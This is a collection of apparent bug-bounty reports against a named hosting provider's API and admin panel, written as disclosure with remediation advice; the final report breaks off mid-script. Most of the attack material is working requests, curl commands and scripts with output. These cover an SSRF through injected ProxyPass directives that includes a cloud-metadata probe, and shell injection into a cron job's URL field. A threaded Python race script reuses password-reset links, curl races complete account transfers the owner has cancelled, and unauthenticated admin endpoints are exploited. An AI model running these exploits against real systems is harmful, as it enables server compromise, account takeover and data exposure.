Affected Endpoint: PATCH https://api.alwaysdata.com/v1/site/{id}/
Vulnerable Field: vhost_additional_directives
Authentication Required: Yes (free account, API token)
Summary
The alwaysdata REST API allows customers to set arbitrary Apache directives through the vhost_additional_directives field on the site resource. There is no validation or restriction on what directives can be specified. An authenticated customer can inject a ProxyPass directive that causes the alwaysdata server infrastructure to make outbound HTTP requests to any URL, including potentially internal services on alwaysdata's network. This is a confirmed Server-Side Request Forgery vulnerability. I confirmed the proxy works by configuring it to serve content from example.org through the alwaysdata server, and the outbound requests originate from alwaysdata's server IP (185.31.41.11), not from the attacker's IP.
Technical Background
The alwaysdata API exposes a vhost_additional_directives field on the site endpoint that accepts a free-text string of Apache configuration directives. These directives are written directly into the VirtualHost block for the customer's Apache site with no allowlist or blocklist enforced. Apache's mod_proxy module is enabled on the shared hosting servers. By injecting a ProxyPass directive, the attacker causes Apache to forward any HTTP request matching the configured path to an attacker-specified upstream URL, with the request originating from alwaysdata's server.
Step-by-Step Reproduction
Step 1: Register a free account at https://www.alwaysdata.com/fr/inscription/ and create an API token from the admin panel under Profile > Managing tokens. The token is used as the HTTP Basic Auth username with a blank password.
Step 2: Create a free hosting account via the API to obtain a site resource ID.
Request:
POST /v1/account/ HTTP/1.1
Host: api.alwaysdata.com
Authorization: Basic NDRhMTIzNDVhYmNkZWY6 (base64 of token:)
Content-Type: application/json
{"name":"vapt1test","product":2012,"location_object":3,"password":"TestPassword1!","contract_28":true,"contract_36":true}
Response:
HTTP/1.1 201 Created
{
"id": 504456, "name": "vapt1test", "location_type": "datacenter", "location_object": 3, "product": null, "period": null, "href": "/v1/account/504456/"
}
Step 3: List the site resource to get its ID.
Request:
GET /v1/site/ HTTP/1.1
Host: api.alwaysdata.com
Authorization: Basic NDRhMTIzNDVhYmNkZWY6
Response:
HTTP/1.1 200 OK
[
{
"id": 1083881,
"type": "php",
"path": "www/",
"vhost_additional_directives": null,
"addresses": ["vapt1test.alwaysdata.net/"],
...
}
]
Step 4: Inject an Apache ProxyPass directive into the site configuration.
Request:
PATCH /v1/site/1083881/ HTTP/2
Host: api.alwaysdata.com
Authorization: Basic NDRhMTIzNDVhYmNkZWY6
Content-Type: application/json
Content-Length: 121
{"vhost_additional_directives":"ProxyPass /ssrf-poc http://example.org/\nProxyPassReverse /ssrf-poc http://example.org/"}
Response:
HTTP/2 204 No Content
server: nginx
vary: Accept-Language, Cookie
strict-transport-security: max-age=31536000; includeSubDomains; preload
(No body. The 204 response confirms the directive was accepted and written into the Apache vhost configuration.)
Step 5: Confirm the directive was stored.
Request:
GET /v1/site/1083881/ HTTP/1.1
Host: api.alwaysdata.com
Authorization: Basic NDRhMTIzNDVhYmNkZWY6
Response:
HTTP/1.1 200 OK
{
"id": 1083881, "vhost_additional_directives": "ProxyPass /ssrf-poc http://example.org/\nProxyPassReverse /ssrf-poc http://example.org/", ...
}
Step 6: Trigger the SSRF by visiting the proxied path on the site. This causes alwaysdata's Apache server (IP 185.31.41.11) to fetch example.org and return the response.
Request (sent from attacker browser):
GET /ssrf-poc HTTP/2
Host: vapt1test.alwaysdata.net
Response received by attacker (actually fetched by 185.31.41.11 from example.org):
HTTP/2 200 OK
Content-Type: text/html
<!doctype html><html lang=en><head><meta charset=utf-8>
<title>Example Domain</title>
… <p>This domain is for use in documentation examples without needing permission.</p>
…
The content served at vapt1test.alwaysdata.net/ssrf-poc is example.org's HTML, fetched and returned by alwaysdata's own server at 185.31.41.11. The request to example.org originates from 185.31.41.11, not from the attacker.
Step 7: Confirm the outbound request IP address using an IP reflection service.
I changed the ProxyPass target to ifconfig.me, which returns the requesting IP as the response body.
Request:
PATCH /v1/site/1083881/ HTTP/2
Host: api.alwaysdata.com
Authorization: Basic NDRhMTIzNDVhYmNkZWY6
Content-Type: application/json
{"vhost_additional_directives":"ProxyPass /ssrf-ip http://ifconfig.me/\nProxyPassReverse /ssrf-ip http://ifconfig.me/"}
Response:
HTTP/2 204 No Content
Trigger:
GET /ssrf-ip HTTP/2
Host: vapt1test.alwaysdata.net
Response body (the IP that made the request to ifconfig.me):
2a00:b6e0:1:20:23::1
This is alwaysdata's own server IPv6 address. The vapt1test.alwaysdata.net domain resolves to 185.31.41.11 (IPv4) and 2a00:b6e0:1:20:23::1 (IPv6), confirming the HTTP request to ifconfig.me was made by alwaysdata's server infrastructure, not by the attacker's IP.
Additional Test: Attempt to Reach Cloud Metadata
Per your scope policy I did not enumerate internal services. However, I did confirm the ProxyPass directive is applied and the server attempts the connection. When pointed at 169.254.169.254 (common cloud metadata endpoint), the request times out rather than returning a 404 or Apache configuration error, which indicates the server is attempting the outbound proxy connection. Whether the metadata endpoint is reachable is a network policy question only your infrastructure team can verify.
Request:
PATCH /v1/site/1083881/ HTTP/1.1
Host: api.alwaysdata.com
Content-Type: application/json
{"vhost_additional_directives":"ProxyPass /metadata http://169.254.169.254/\nProxyPassReverse /metadata http://169.254.169.254/"}
Triggering:
GET /metadata HTTP/2
Host: vapt1test.alwaysdata.net
Result: Connection timeout (curl error 28), not a 404 or Apache error. The timeout indicates the server is attempting the outbound connection.
Impact
An authenticated customer (free account is sufficient) can configure the alwaysdata server to issue HTTP requests to any URL on demand. Direct consequences are:
1. If internal services are not firewalled: The attacker can reach Redis, Elasticsearch, internal admin APIs, cloud metadata endpoints (IAM credentials), or other services running on alwaysdata's private network by specifying their addresses in the ProxyPass directive. The response is returned directly to the attacker.
2. IP reputation and access control bypass: Outbound requests from alwaysdata's server IP (185.31.41.11) carry the trust level and IP reputation of alwaysdata's infrastructure. If any internal or partner service trusts alwaysdata's IP range, that trust is transferred to the attacker.
3. Scanning alwaysdata's internal network: By varying the ProxyPass target and observing timeout versus connection refused versus response, an attacker can map which internal hosts and ports are open, without the attacker's own IP appearing in any logs.
The ProxyPass directive is documented Apache functionality and was accepted with no error, which tells me the platform applies directives without a blocklist.
CVSS 3.1
AV:N (exploitable over the internet)
AC:L (no special conditions, just an API call)
PR:L (free account required)
UI:N (no user interaction)
S:C (scope changed: requests originate from alwaysdata's server infrastructure, not the attacker's origin)
C:H (if internal services are reachable, full confidentiality of internal data)
I:N (no write to internal services confirmed)
A:N (no availability impact)
Score: 7.5 High
Note: if your team confirms that the ProxyPass can reach internal services or the metadata endpoint, the score should be revised upward to Critical (9.1+) in line with your own reward table for SSRF to cloud metadata.
Cleanup
I removed the directive after all testing was complete. The current state of the site resource has vhost_additional_directives set to an empty string (functionally equivalent to null).
PATCH /v1/site/1083881/ HTTP/2
Host: api.alwaysdata.com
Content-Type: application/json
{"vhost_additional_directives": null}
Response:
HTTP/2 204 No Content
Recommended Fix
Maintain an allowlist of safe Apache directive prefixes that customers are permitted to use in vhost_additional_directives, and reject any input containing Proxy, ProxyPass, ProxyPassReverse, ProxyPassMatch, RewriteRule with external schemes (http, https), Alias pointing outside the account home, Include, or LoadModule. Alternatively, parse the directives server-side and block any that reference network destinations outside localhost or the account's own paths.
Submission Notes
Submit via the alwaysdata security portal at https://security.alwaysdata.com (they run Flyspray as their bug tracker). The submission form accepts a title, description, and attachments. Paste this report into the description field. Contact if no acknowledgment within 7 days: cbay@alwaysdata.com (Cyril Baÿ, the security team contact identified from the portal's public .git directory).
Two are materially impactful:
/-/reload is unauthenticated and state-changing. An anonymous POST forces vmauth to re-read /etc/vmauth/config.yml, the file that defines authentication policy, users, tokens, and backend routing. The reload is proven by vmauth’s own reload counter advancing by exactly 1 per anonymous request.
/metrics is unauthenticated. It leaks internal service-account usernames, config paths, TLS certificate paths, version information, and runtime telemetry.
Sibling administrative endpoints such as /-/quit, /-/stop, /config, and /internal/flags correctly return 401. This is an ad-hoc exemption list, not an intended design.
Severity: Medium
CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N → 7.5
Escalation: Critical if any other primitive allows influencing /etc/vmauth/config.yml.
Affected asset:
Host: sandbox-fnonnenmacher2.paris1.alwaysdata.com
IP: 185.31.41.181
Service: vmauth v1.137.0
Steps to Reproduce / PoC
1. Confirm the authentication gate exists on the same host
bash
curl -sk -o /dev/null -w '%{http_code}\n' \
https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/
Expected:
text
401
This is the control: the root path is protected.
2. Confirm /metrics is exempt and leaks internal data
bash
curl -sk -o /dev/null -w '%{http_code}\n' \
https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/metrics
Expected:
text
200
Leaked data:
bash
curl -sk https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/metrics \
| grep -E 'username=|auth.config|tlsCertFile|version='
Observed output includes:
text
vmauth_user_concurrent_requests_capacity{username="admin"} 1000
vmauth_user_concurrent_requests_capacity{username="aldjango"} 1000
vmauth_user_concurrent_requests_capacity{username="grafana"} 1000
vmauth_user_concurrent_requests_capacity{username="telegraf"} 1000
name="auth.config", value="/etc/vmauth/config.yml", is_set="true"
name="tlsCertFile", value="/etc/ssl/certs/alwaysdata.org.bundle.pem", is_set="true"
version="vmauth-20260227-182711-tags-v1.137.0-0-g2aecca1163"
short_version="v1.137.0"
These usernames are not otherwise obtainable without authentication.
3. Prove /-/reload is unauthenticated and state-changing
Baseline the reload counter:
bash
curl -sk https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/metrics \
| grep vmauth_config_last_reload_total
Example:
text
vmauth_config_last_reload_total 7
Send an anonymous reload request:
bash
curl -sk -X POST https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/-/reload Observed:
http
HTTP/1.1 200 OK
x-server-hostname: sandbox-fnonnenmacher2
content-length: 0
Re-read the counter:
bash
curl -sk https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/metrics \
| grep vmauth_config_last_reload_total
Observed:
text
vmauth_config_last_reload_total 8
Delta: 1
Repeat:
bash
curl -sk -X POST https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/-/reload curl -sk https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/metrics \
| grep vmauth_config_last_reload_total
Observed:
text
vmauth_config_last_reload_total 9
Delta: 1
The counter advanced from 7 → 34 across repeated passes, always by exactly 1 per anonymous POST.
4. Control: sibling admin endpoint is correctly gated
bash
curl -sk -X POST https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/-/quit Observed:
http
HTTP/1.1 401 Unauthorized
Www-Authenticate: Basic realm="Restricted"
Counter delta: 0
This proves /-/reload is an omission, not a design where all admin routes are open.
5. Additional unauthenticated pprof exposure
bash
curl -sk https://sandbox-fnonnenmacher2.paris1.alwaysdata.com/debug/pprof/cmdline Observed:
text
/usr/bin/vmauth -envflag.enable
The full pprof surface is exposed, including:
/debug/pprof/
/debug/pprof/cmdline
/debug/pprof/heap?debug=1
/debug/pprof/allocs?debug=1
/debug/pprof/goroutine?debug=2
/debug/pprof/trace?seconds=1
Impact
1. Unauthenticated administrative action
An anonymous Internet client can force the authentication proxy to reload its configuration. /-/reload is an administrative operation and must not be triggerable without credentials.
2. Potential full authentication bypass if chained
/-/reload re-reads /etc/vmauth/config.yml. If any other bug, misconfiguration, deployment pipeline, or local file-write primitive allows influencing that file, this endpoint provides the unauthenticated trigger that makes vmauth adopt the attacker’s policy. That would convert a write-only primitive into full authentication bypass for the internal monitoring backend.
No such config-write primitive was found during this assessment, so the finding is not rated Critical on its own.
3. Internal information disclosure
/metrics and pprof leak:
Internal service-account names: admin, aldjango, grafana, telegraf
Configuration file path: /etc/vmauth/config.yml
TLS certificate path: /etc/ssl/certs/alwaysdata.org.bundle.pem
Exact vmauth version and Go runtime version
Process command line: /usr/bin/vmauth -envflag.enable
Heap, allocs, goroutine, mutex, and trace profiling data
The cron job feature's TYPE_URLS type is documented as accepting "a list of URLs to request" — it is designed to fetch URLs via curl, not execute arbitrary shell commands (TYPE_COMMAND exists for that). However, the API accepts a single-quote ' character inside the URL argument without rejection. By injecting '$(cmd)' into the URL, the shell quoting is broken and cmd executes as a real command on alwaysdata's jobs server under the account's UID.
Prerequisites: Any alwaysdata account (free plan). API token from https://admin.alwaysdata.com/token/.
Step 1 — Write payload to file (prevents local shell expansion):
cat > /tmp/job.json << 'EOF'
{
"type": "TYPE_URLS",
"argument": "http://x.com/'$(id>/home/YOUR_ACCOUNT/www/rce_proof.txt)'",
"date_type": "FREQUENCY",
"frequency": 1,
"frequency_period": "minute"
}
EOF
Step 2 — Create the malicious cron job:
curl -u "YOUR_API_TOKEN account=YOUR_ACCOUNT:" \
-X POST "https://api.alwaysdata.com/v1/job/?format=json" \
-H "Content-Type: application/json" \
-d @/tmp/job.json \
-w "\nHTTP STATUS: %{http_code}\n"
Expected: HTTP STATUS: 201 — single-quote inside the URL is accepted with no error.
Step 3 — Wait up to 60 seconds for the cron to fire.
Step 4 — Verify RCE:
curl https://YOUR_ACCOUNT.alwaysdata.net/rce_proof.txt
Expected output:
uid=XXXXXX(YOUR_ACCOUNT) gid=XXXXXX(YOUR_ACCOUNT) groups=XXXXXX(YOUR_ACCOUNT)
This file was created by the injected id command running on alwaysdata's server.
Step 5 — Clean up:
# Get JOB_ID from the Step 2 response header Location or re-list jobs:
curl -u "YOUR_API_TOKEN account=YOUR_ACCOUNT:" \
"https://api.alwaysdata.com/v1/job/?format=json"
curl -u "YOUR_API_TOKEN account=YOUR_ACCOUNT:" \
-X DELETE "https://api.alwaysdata.com/v1/job/JOB_ID/?format=json"
Injecting @ into the Host header (Host: admin.alwaysdata.com@evil.com) triggers an unhandled HTTP 500 Internal Server Error on /password/lost/. Standard Host values work correctly.
Severity: Low (CVSS 3.3) | CWE-20 (Improper Input Validation)
CVSS: AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L
## Reproduce
Raw TCP/TLS request:
Host: admin.alwaysdata.com@evil.com GET /password/lost/ HTTP/1.1
Response: HTTP/1.1 500 Internal Server Error
Normal Host: admin.alwaysdata.com returns HTTP 200.
## Evidence
- @-injection in Host header triggers 500 ISE
- Clean Host value returns 200 (no issue)
- No data leakage in error response observed
## Impact
Indicates Host header input reaches internal processing (likely URL building for reset links) without sanitization. Low severity as no data leakage or privilege escalation was demonstrated.
## Remediation
Validate Host header against known-good hostname allowlist at nginx/Django level. Reject requests with malformed Host values (@ symbols, newlines, non-hostname chars) with HTTP 400.
Researcher: adityahadipratama4@gmail.com
]]>POST /support/add/ (authenticated) has no rate limiting. Any user can create unlimited support tickets in rapid succession, flooding alwaysdata's support team inbox.
Severity: Low (CVSS 3.7) | CWE-307
CVSS: AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L
## Reproduce
1. Log in with any free account
2. Fire 20 rapid POSTs to /support/add/ with subject/message fields
3. All 20 return HTTP 200 — no 429 triggered
## Impact
- Staff inbox flooding via ticket spam
- Can bury legitimate support requests
- Degrades quality of service for legitimate customers
## Remediation
Limit: 5-10 tickets/hour per user account.
Researcher: adityahadipratama4@gmail.com
]]>POST /transfer/add/ (authenticated) has no rate limiting. Any free-tier user can spam transfer invitations to arbitrary email addresses, abusing alwaysdata's invitation email system for harassment.
Severity: Medium (CVSS 5.3) | CWE-307
CVSS: AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
## Reproduce
1. Log in with any free account
2. Fire 30 concurrent POSTs to /transfer/add/ with email=victim@example.com 3. All 30 return HTTP 200 — no throttling triggered
## Evidence
- 30/30 HTTP 200 (parallel, ~1.55s total)
- No 429 even under concurrent load
## Impact
- Spam victim with unlimited alwaysdata-branded transfer invitation emails
- Abuse alwaysdata sending reputation for targeted harassment
## Remediation
Limit: 5-10 invitations/hour per user + 3/day per target email.
Researcher: adityahadipratama4@gmail.com Full PDF report (4 findings) attached via support ticket.
POST /password/lost/ has no rate limiting. An attacker can flood any user inbox with unlimited reset emails without auth.
Severity: Medium (CVSS 5.3) | CWE-307
CVSS: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
## Reproduce
1. Get CSRF: curl -c /tmp/c.txt admin.alwaysdata.com/password/lost/ -o /dev/null
2. Fire 15 POST requests: all return HTTP 200 (no 429)
3. Contrast: /login/ returns 429 at attempt 11
## Evidence
15/15 HTTP 200 with no throttling on /password/lost/
Login endpoint correctly throttles at attempt 11 - infrastructure supports rate limiting
## Impact
- Flood any user inbox with unlimited reset emails (no auth needed)
- Consume alwaysdata mail delivery resources
- Email-harass targeted users via alwaysdata domain
## Remediation
Rate limit: 3-5 req/hour per IP + 3/hour per email. Reuse infra from /login/.
Researcher: adityahadipratama4@gmail.com Full PDF report (4 findings) attached via support ticket.
Affected endpoint: `POST https://admin.alwaysdata.com/user/reset_password/?user_id=<u>&token=<t>&expiration=<e>` (the link sent by `POST /password/lost/`)
Related: #279 ("reusable login token URL") — this report shows the single-use fix it introduced does not hold under concurrency
## Summary
The password-reset link is single-use sequentially: a second use submitted after the first one completes returns *"Le lien utilisé est invalide"* and issues no session (control below). The consumed/invalid state, however, is not applied atomically. When several requests hit the endpoint simultaneously, all of them pass the validity check and all are processed as a successful reset — each returns `200` with the authenticated panel and issues an authenticated session. Final run: 4/4 concurrent requests accepted; earlier runs: 2/2 accepted (both times).
Each accepted request authenticates its caller and applies its password (last write wins). An attacker who possesses a leaked/intercepted reset link can therefore race the legitimate use with a small parallel burst: the victim's reset appears to proceed, while the attacker's simultaneous request also commits — leaving the attacker with an authenticated session and an attacker-chosen password on a link the victim believes has been consumed. The single-use guarantee that #279 fixed does not actually close the link once; it closes it only against *sequential* reuse.
## Preconditions
- An account whose mailbox the tester controls (own test accounts were used; free plan).
- Possession of the reset link from `POST /password/lost/` — the attacker must already hold the link, hence Low; the finding is that the documented single-use property fails under concurrency.
## Steps to reproduce
1. Request a reset link (own account):
```
curl -s -c jar -b jar https://admin.alwaysdata.com/password/lost/ | grep csrfmiddlewaretoken
curl -s -c jar -b jar -X POST https://admin.alwaysdata.com/password/lost/ \
-H 'Referer: https://admin.alwaysdata.com/password/lost/' \
--data-urlencode 'csrfmiddlewaretoken=<csrf>' \
--data-urlencode 'email=<account email>'
```
→ `200` on `/password/sent/`; the e-mail contains:
`https://admin.alwaysdata.com/user/reset_password/?user_id=…&token=…&expiration=…`
2. Control (sequential). Two sessions each GET the link (a GET does not consume the token; each GET returns the form with a CSRF token and a session cookie), then POST — the second POST only after the first has completed. Result: first accepted, second rejected.
3. Race. N sessions each GET the link first, then POST simultaneously (thread barrier; `&` + `wait` in shell also works). A GET-then-POST per session is required because each POST needs its own CSRF token and session cookie. Result: every POST is accepted.
Self-contained repro script (`python3 poc.py "<link>" <control|race> <N>`):
```python
import re, sys, threading, urllib.parse, urllib.request, http.cookiejar
BASE = "https://admin.alwaysdata.com"
def new_session(link):
cj = http.cookiejar.CookieJar()
op = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
body = op.open(link, timeout=30).read().decode("utf-8", "replace")
csrf = re.search(r'name="csrfmiddlewaretoken" value="([^"]+)"', body).group(1)
return op, csrf
def submit(op, link, csrf, password):
data = urllib.parse.urlencode({"csrfmiddlewaretoken": csrf, "password": password}).encode()
body = op.open(urllib.request.Request(link, data=data,
headers={"Referer": link}), timeout=30).read().decode("utf-8", "replace")
flat = re.sub(r"<[^>]+>", " ", re.sub(r"<script.*?</script>", " ", body, flags=re.S))
if "lien utilisé est invalide" in flat: return "INVALID (rejected)"
if "Logout" in flat: return "ACCEPTED (authenticated panel page)"
return "?"
def is_authed(op):
home = op.open(BASE + "/", timeout=30).read().decode("utf-8", "replace")
return "Logout" in re.sub(r"<[^>]+>", " ", re.sub(r"<script.*?</script>", " ", home, flags=re.S))
link, mode, n = sys.argv[1], sys.argv[2], int(sys.argv[3])
sess = [new_session(link) for _ in range(n)]
if mode == "control": # second POST after the first completed
for i, (op, csrf) in enumerate(sess):
print("POST #%d:" % i, submit(op, link, csrf, "SeqPw%d!x7Kq" % i))
else: # all POSTs fired simultaneously
out, barrier = {}, threading.Barrier(n)
def worker(i):
barrier.wait()
out[i] = submit(sess[i][0], link, sess[i][1], "RacePw%d!xyz" % i)
ts = [threading.Thread(target=worker, args=(i,)) for i in range(n)]
[t.start() for t in ts]; [t.join() for t in ts]
for i in sorted(out): print("parallel POST #%d:" % i, out[i])
for i, (op, _) in enumerate(sess):
print("session #%d authenticated: %s" % (i, is_authed(op)))
```
Observed — race (`race`, N=4, fresh link from a newly requested e-mail): ```
parallel POST #0: ACCEPTED (authenticated panel page)
parallel POST #1: ACCEPTED (authenticated panel page)
parallel POST #2: ACCEPTED (authenticated panel page)
parallel POST #3: ACCEPTED (authenticated panel page)
session #0 authenticated: True
session #1 authenticated: True
session #2 authenticated: True
session #3 authenticated: True
```
Earlier run with N=2: both accepted, both sessions authenticated, and exactly one of the two submitted passwords took effect on a subsequent login (last committed write wins).
## Impact
- The single-use property (the #279 fix) does not hold under concurrency: one link can be consumed several times at once, and each consumption mints an authenticated session.
- Concrete scenario: the attacker holds a leaked link (leaked mailbox, forwarding, logs). When the victim uses it, the attacker's parallel burst also passes validation. The victim sees a normal successful reset; the attacker keeps a session and, if their request commits last, an attacker-known password — on a link that is supposed to be dead after one use.
- No brute force or scanning needed: a handful of requests per attempt reproduces it; severity is Low because the attacker must already possess the link.
## Remediation
- Make consumption atomic and single-writer: `UPDATE reset_token SET used=1 WHERE token=<t> AND used=0` (or `SELECT … FOR UPDATE`), and treat `rowcount == 0` as "already used" — reject in-flight duplicates instead of processing them.
- Mark the token used before applying the password change, so exactly one concurrent request wins.
- Defence in depth: on successful reset, invalidate the user's other outstanding reset links and existing sessions.
Severity: Medium
Affected: `POST https://admin.alwaysdata.com/transfer/<id>/cancel/` and `POST https://admin.alwaysdata.com/transfer/<id>/accept/`
Same root cause: `POST https://admin.alwaysdata.com/transfer/add/?_field_type=account` (the "one pending transfer per account" guard is racy)
Related: #156 ("Block concurrent transfer requests … conflict check", closed fixed) and #151 ("pending invitations invalidated upon transfer", closed fixed) — this report is a concurrency bypass of both guarantees
## Summary
The cancel and accept state transitions of an account-transfer request are not mutually exclusive. When the owner's cancel and the recipient's accept are submitted at the same instant, both commit: the cancel returns its success redirect and the panel shows *"The transfer has been cancelled."*, the accept returns its success redirect, and the account is nevertheless transferred to the recipient (with all its resources — sites, domains, mailboxes, databases, SSH). Sequentially the two are exclusive (cancel-then-accept → `404` on the accept; accept-then-cancel → `403` on the cancel), so only the concurrent window is at issue — the same non-atomic state-transition class as #279.
Two supporting defects in the same fix family:
1. The concurrent-request guard on transfer creation is also racy: parallel creates for the same account produced 2/4, 3/4 and 4/4 simultaneous pending records, while a sequential second attempt is refused ("Select a valid choice. That choice is not one of the available choices." — the account is removed from the form's selectable set while a transfer is pending).
2. `cancel` revokes only the record it names. With duplicates pending (per defect 1), cancelling one leaves the siblings listed and acceptable; accepting a surviving sibling moved the account — i.e. the revoked transfer still completed.
## Preconditions
Two accounts owned by the tester on the same platform: A (current owner / sender) and B (invited recipient). No third party is involved; ownership was reverted after every run. Testing was on the free plan, where only `_field_type=account` records can be created (the `site`/`domain` selects are empty for accounts without custom domains) — so the account-type transfer is the path exercised here; it is the same create/cancel/accept code path.
## Steps to reproduce
All requests must reuse a logged-in cookie jar per account (`-b jar -c jar`); the transfer record id must be a *fresh, pending* record created in step 1. (A stale/cancelled/consumed id returns `403` on cancel by design — that is the consumed-record signature, not the bug.)
1. A creates a transfer of A's account to B:
```
TOK=$(curl -b jarA -c jarA -s 'https://admin.alwaysdata.com/transfer/add/?_field_type=account' \
| grep -o 'name="csrfmiddlewaretoken" value="[^"]*"' | head -1 | cut -d'"' -f4)
curl -b jarA -c jarA -s -o /dev/null -w 'create=%{http_code}\n' -X POST \
-H 'Referer: https://admin.alwaysdata.com/transfer/add/?_field_type=account' \
--data-urlencode "csrfmiddlewaretoken=$TOK" --data-urlencode "account=<A account id>" \
--data-urlencode "email=<B email>" --data-urlencode "submit=Submit" \
'https://admin.alwaysdata.com/transfer/add/?_field_type=account'
ID=$(curl -b jarA -c jarA -s https://admin.alwaysdata.com/transfer/ \
| grep -o '/transfer/[0-9]*/' | grep -o '[0-9]*' | sort -n | tail -1) # the new pending record
```
→ `create=302`; the record is listed for both parties; B's transfer page serves an accept form.
2. CSRF tokens for cancel/accept must come from each side's `/transfer/` LIST page (the cancel/accept URLs themselves contain no token):
``` TOK_A=$(curl -b jarA -c jarA -s https://admin.alwaysdata.com/transfer/ | grep -o 'name="csrfmiddlewaretoken" value="[^"]*"' | head -1 | cut -d'"' -f4) TOK_B=$(curl -b jarB -c jarB -s https://admin.alwaysdata.com/transfer/ | grep -o 'name="csrfmiddlewaretoken" value="[^"]*"' | head -1 | cut -d'"' -f4) ```
3. Owner cancels, recipient accepts — fired together (shell `&`; a thread barrier in a script is more deterministic):
```
curl -b jarA -c jarA -s -o /dev/null -w 'cancel=%{http_code}\n' -X POST \
-H "Referer: https://admin.alwaysdata.com/transfer/" \
--data "csrfmiddlewaretoken=$TOK_A&submit=yes" \
"https://admin.alwaysdata.com/transfer/$ID/cancel/" &
curl -b jarB -c jarB -s -o /dev/null -w 'accept=%{http_code}\n' -X POST \
-H "Referer: https://admin.alwaysdata.com/transfer/" \
--data "csrfmiddlewaretoken=$TOK_B&submit=yes" \
"https://admin.alwaysdata.com/transfer/$ID/accept/" &
wait
```
4. Verify from B's own session: `GET /transfer/add/?_field_type=account` now lists A's account id in the recipient's select, although the owner's cancel returned `302` and A's panel showed *"The transfer has been cancelled."* (A GET of `/transfer/` immediately after the cancel shows the confirmation; A's own select no longer lists the account.)
### Observed (race)
Barrier-based run, 5 trials, fresh record per trial:
```
trial 1: record=… cancel=(302) accept=(302) cancel_flash='The transfer has been cancelled.' MOVED=True
trial 2: record=… cancel=(302) accept=(302) cancel_flash='The transfer has been cancelled.' MOVED=True
trial 3: record=… cancel=(302) accept=(302) cancel_flash='(no flash)' MOVED=False (accept 404)
trial 4: record=… cancel=(302) accept=(302) cancel_flash='(no flash)' MOVED=False (accept 404)
trial 5: record=… cancel=(302) accept=(302) cancel_flash='(no flash)' MOVED=False (accept 404)
RESULT: 2/5 trials moved the account
```
Earlier runs: 3/3 moved, and 4/4 moved (shell `&`). Overall 9/12 documented race attempts moved the account after the owner's cancellation; when the cancel wins instead, the accept receives its normal `404`. `MOVED=True` was verified from the recipient's own `/transfer/add/?_field_type=account` select containing the owner's account id, and the owner's panel listing no accounts. Ownership was reverted after every successful move (transfer in the opposite direction).
### Supporting defect 1 — racy create-guard (4 parallel creates for the same account)
```
parallel #0: (302) parallel #1: (302) parallel #2: (200) parallel #3: (302)
PENDING RECORDS: ['5098','5099','5100'] (sequential second create → refused)
```
### Supporting defect 2 — cancel revokes only the named record
With records `[5103..5106]` pending, cancelling only `5103` left `5104`/`5105`/`5106` listed for both parties and their accept form live (`GET /transfer/5104/accept/ → 200`); accepting `5104` moved the account. Positive control: when a transfer *completes*, the acceptance does invalidate all sibling records — accepts of `5099`/`5100` returned `404` afterwards.
## Impact
- The owner's cancellation is not authoritative. A recipient who was invited — or whose invitation the owner is revoking (e.g. sent by mistake) — can complete the transfer in the same instant the owner cancels: the owner sees *"The transfer has been cancelled."* while the account and all of its resources move to the recipient.
- The same root cause defeats #156's invariant ("concurrent transfer requests for the same account must be impossible"): the guard is racy, and duplicate records further weaken revocation, because cancelling one record does not revoke the transfer.
- Not bounded by brute force or scanning: a handful of requests per attempt; the only condition is that the recipient races their accept into the cancel window (the recipient is a legitimate party to the request).
## Remediation
- Make the state transition atomic and single-writer, e.g. `UPDATE transfer_request SET state='cancelled', … WHERE id=? AND state='pending'` and treat `rowcount == 0` as "already consumed" (same for accept); serialize both operations on the record row (`SELECT … FOR UPDATE` or an equivalent compare-and-set), so exactly one of cancel/accept wins and the loser observes the state it actually landed in.
- `cancel` (on either side, and especially by the owner) should atomically revoke all pending records for the account, not only the named one.
- Enforce "one pending transfer per account" with a uniqueness/constraint checked at commit time (and by the conditional insert), not only by excluding the account from the form's choices.
- Defence in depth: return a distinct error when a losing operation hits a non-pending record (a consumed-record cancel currently returns an opaque `403`).
Severity: Medium — per program tier *"Accessing permissions/config on user accounts without accessing content"*
Summary: When a customer delegates a single permission on their account (e.g. "Domains") to another user, every section of the admin panel correctly enforces its own permission — `/mailbox/`, `/database/`, `/ssl/`, `/account/usage/` all return 403 for a Domains-only delegate. The "System tasks" view is the exception: `/task/` and `/task/<id>/detail/` are accessible to any user holding at least one permission on the account — any permission works (Domains-only, SSL-only, Usage-only, Scheduled-tasks-only were each tested). The delegate can therefore read the account-wide operations feed, including operations for sections they are explicitly denied: mailbox addresses, database names, Apache/database operations.
The dedicated "Scheduled tasks" permission (`account_job`) *is* correctly enforced for `/job/` (403 without it, 200 with it), which shows section-level authorization exists and `/task/` simply does not apply it.
Access is grant-derived (not a cross-customer object IDOR): once the grant is removed, the same requests return 404.
Affected URL / endpoints: - `GET https://admin.alwaysdata.com/task/`
- `GET https://admin.alwaysdata.com/task/<id>/detail/`
Repro (clean curl) — two tester-owned accounts required; `A` is the owner of `adtesta1` (account id `503524`), `B` is a second user with no access initially:
```bash
BASE=https://admin.alwaysdata.com A_EMAIL='owner@example.com' A_PASS='owner-password' # owns adtesta1 (account id 503524)
B_EMAIL='delegate@example.com' B_PASS='delegate-password' # second user, no access yet
csrf() { grep -o 'name="csrfmiddlewaretoken" value="[^"]*"' "$1" | head -1 | cut -d'"' -f4; }
login() { # $1=jar $2=email $3=password
curl -s -c "$1" "$BASE/login/" -o /tmp/login.html
curl -s -b "$1" -c "$1" -X POST "$BASE/login/" -H "Referer: $BASE/login/" \
--data-urlencode "csrfmiddlewaretoken=$(csrf /tmp/login.html)" \
--data-urlencode "login=$2" --data-urlencode "password=$3" -o /dev/null
}
# — 1) Owner A grants delegate B ONLY the "Domains" permission on adtesta1 — login A.jar "$A_EMAIL" "$A_PASS"
